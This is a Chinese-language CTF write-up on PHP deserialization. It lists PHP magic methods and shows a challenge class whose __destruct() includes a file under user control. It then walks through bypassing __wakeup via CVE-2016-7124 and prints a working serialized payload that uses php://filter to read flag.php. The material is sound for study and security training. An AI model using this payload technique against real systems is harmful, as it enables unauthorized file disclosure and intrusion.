0X00 背景
上周打ctf遇到了一道php反序列化的题,不是很难,但是还是想就着这道题把php反序列化漏洞做下总结。
0X01 php序列化
说php反序列化首先还是要说下什么是php序列化。
1 |
serialize — 产生一个可存储的值的表示 |
这是php官网对它的解释,也就是说将php的对象转换为字符串以便存储和传输的一种方式,使用serialize ( mixed $value )函数,而反序列化就是他的逆过程。
0X02 php反序列化
既然php反序列化只是将已经序列化的字符串还原成对象,为什么会有这么大的危害呢?原因还是在php世界里存在magic method即魔法方法,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
__construct() 当一个对象创建时触发 __destruct() 当一个对象被销毁时触发 __toString() 把类当作字符串使用时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据时 __set() 用于将数据写入不可访问的属性 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __invoke() 当脚本尝试将对象调用为函数时触发 __autoload() 尝试加载未定义的类时触发 __clone() 当对象复制完成时触发 |
在这些魔法方法中反序列化漏洞一般比较常用的是__construct()、__destruct()、__toString()、__sleep()、__wakeup()这几个方法。
就是说我们需要一个用户可控的反序列化的参数,也就是我们可以控制反序列化后的对象,然后去查找相应的魔术方法是否存在漏洞,然后构造序列化字符串,在魔术方法触发时执行我们想要的操作。
0X03 例子
把打比赛的那道题po出来大家看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
class Connection { public $file; public function __construct($file) { $this->file = $file; } public function __sleep() { $this->file = 'sleep.txt'; return array('file'); } public function __wakeup() { $this->file = 'wakeup.txt'; } public function __destruct() { include($this->file); } } $obj2 = unserialize($_GET['un']); |
从上边代码看反序列化的参数我们是可控的,可是反序列化的执行顺序是先__construct,然后是__wakeup(),最后执行__destruct(),在__wakeup()时file被重新赋值了,所以最后在文件包含是没法控制文件名,这里就需要用一个php的漏洞了。
0X04 php绕过__wakeup方法
绕过的方法其实是一个cve漏洞(CVE-2016-7124),即:当成员属性数目大于实际数目时可绕过wakeup方法。
0X05利用
那么我们的思路有了,首先生成序列化字符串,代码如下:
1 2 3 4 5 6 7 8 |
<?php class Connection { public $file="php://filter/convert.base64-encode/resource=flag.php"; } $usr = new Connection(); echo serialize($usr); ?> |
然后的到序列化后的字符串:
1 |
O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";} |
然后把Connection后边的‘1’改成‘2’得:
1 |
O:10:"Connection":2:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";} |
然后发送请求,可得到flag.php的结果,如图: